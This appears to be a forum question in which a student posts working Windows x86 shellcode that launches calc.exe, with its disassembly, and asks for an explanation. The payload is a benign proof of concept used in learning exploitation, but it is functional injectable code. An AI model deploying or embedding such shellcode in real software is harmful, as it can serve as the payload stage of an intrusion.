title: The Shellcode to open Calc.exe too long and complex, can't understand! My first exploit program
body: <p>I wrote my first exploit program on Windows XP OS using the shellcode i foung on the web. It opens the calculator and the overall program works successfully. However, even though i did not write the shellcode myself, I have to know very well what it does anyway by disassemblying it. It turns out my shellcode is quite long and really complicated (even my teacher says that).
  This is the binary:
  <code>char shellcode[] =
  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" 
  "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" 
  "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" 
  "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" 
  "\x57\x78\x01\xc2\x8b\x7a\x20\x01" 
  "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" 
  "\x45\x81\x3e\x43\x72\x65\x61\x75" 
  "\xf2\x81\x7e\x08\x6f\x63\x65\x73" 
  "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" 
  "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" 
  "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" 
  "\xb1\xff\x53\xe2\xfd\x68\x63\x61" 
  "\x6c\x63\x89\xe2\x52\x52\x53\x53" 
  "\x53\x53\x53\x53\x52\x53\xff\xd7";
  </code>
  And this is the disassembled stuff:</p>
  
  <pre><code> 0:  31 db                   xor    ebx,ebx
  2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
  6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
  9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]
  c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
  f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]
  12: 8b 3f                   mov    edi,DWORD PTR [edi]
  14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
  18: 75 f2                   jne    0xc
  1a: 89 c7                   mov    edi,eax
  1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
  1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
  22: 01 c2                   add    edx,eax
  24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
  27: 01 c7                   add    edi,eax
  29: 89 dd                   mov    ebp,ebx
  2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
  2e: 01 c6                   add    esi,eax
  30: 45                      inc    ebp
  31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
  37: 75 f2                   jne    0x2b
  39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
  40: 75 e9                   jne    0x2b
  42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
  45: 01 c7                   add    edi,eax
  47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
  4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
  4e: 01 c7                   add    edi,eax
  50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
  54: 01 c7                   add    edi,eax
  56: 89 d9                   mov    ecx,ebx
  58: b1 ff                   mov    cl,0xff
  5a: 53                      push   ebx
  5b: e2 fd                   loop   0x5a
  5d: 68 63 61 6c 63          push   0x636c6163
  62: 89 e2                   mov    edx,esp
  64: 52                      push   edx
  65: 52                      push   edx
  66: 53                      push   ebx
  67: 53                      push   ebx
  68: 53                      push   ebx
  69: 53                      push   ebx
  6a: 53                      push   ebx
  6b: 53                      push   ebx
  6c: 52                      push   edx
  6d: 53                      push   ebx
  6e: ff d7                   call   edi
  </code></pre>
  
  <p>As you can tell, it's hella long and confusing. Could anyone explain what it does? I'm more used to shellcodes pushing some function address to a register and then calling it...This is way too advanced for me! Thanks in advance:)</p>